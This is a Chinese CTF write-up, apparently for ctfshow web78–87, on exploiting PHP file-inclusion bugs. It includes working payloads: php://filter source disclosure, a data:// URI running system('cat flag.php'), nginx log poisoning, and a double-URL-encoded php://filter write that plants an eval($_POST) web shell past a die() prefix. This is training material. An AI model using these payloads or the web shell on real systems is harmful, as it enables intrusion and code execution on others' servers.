web78
①關鍵代碼
if(isset($_GET['file']))
{
$file = $_GET['file'];
include($file);
}
②直接文件包含
/?file=php://filter/read=convert.base64-encode/resource=flag.php
web79
①關鍵代碼
if(isset($_GET['file']))
{
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
②用data偽協議
/?file=data:<span class="hljs-comment">//text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
//PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= <?php system('cat flag.php');
web80-81(日志文件包含)
①關鍵代碼
if(isset($_GET['file']))
{
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}
②不同系統日志文件路徑有所差異
apache一般是/var/log/apache/access.log。:
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
這題日志文件路徑為/var/log/nginx/access.log,訪問日志文件,並寫入命令
要多重發幾次,發現fl0g.php文件,然后查看文件
再重發幾次,得到flag
web87
①關鍵代碼
if(isset($_GET['file']))
{
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬別秀了');?>".$content);
}
②這題很顯然有文件包含漏洞,總體的思路就是將命令寫入content中,然后用php://filter/偽協議進行文件包含,但這題問題就在於在執行content中的代碼之前它先執行了die函數,導致程序結束,我們植入的代碼執行失敗,所以,這題的任務就是使<?php die('大佬別秀了');?>失效。
③這題用base64編碼的特性,首先用php://filter/write=convert.base64-decode/resource=123.php進行文件包含,但是要進行兩次url編碼(因為代碼中含有urldecode它解碼了一次),之所以用write而不是read,因為我們需要的是寫入的權限,兩次url編碼用在線工具還不行,它只會把特殊字符編碼,后來發現url編碼實際上就是先轉成16進制,然后每兩個字符前加一個%,我就先用在線工具轉成16進制,再寫了個腳本每隔兩個字符加一個%,但最后第一個字符前也要記得加上去
import re
text = "253730253638253730253361253266253266253636253639253663253734253635253732253266253737253732253639253734253635253364253633253666253665253736253635253732253734253265253632253631253733253635253336253334253264253634253635253633253666253634253635253266253732253635253733253666253735253732253633253635253364253331253332253333253265253730253638253730"
text_list = re.findall(".{2}", text)
new_text = "%".join(text_list)
print(new_text)
同時要post寫入content參數的內容,將<?php @eval($_POST['a']);?>base64加密得到PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
因為base64加密時會把無法辨認的字符過濾,所以content前面那串內容就剩phpdie,我們再添兩個字符,這樣前8個字符湊一組正好一解碼就沒了,后面一解碼就得到了我們傳入的木馬
接着訪問我們傳入的123.php文件,並且將命令寫入a中使之執行
得到fl0g.php文件,再cat一下,就得到了flag。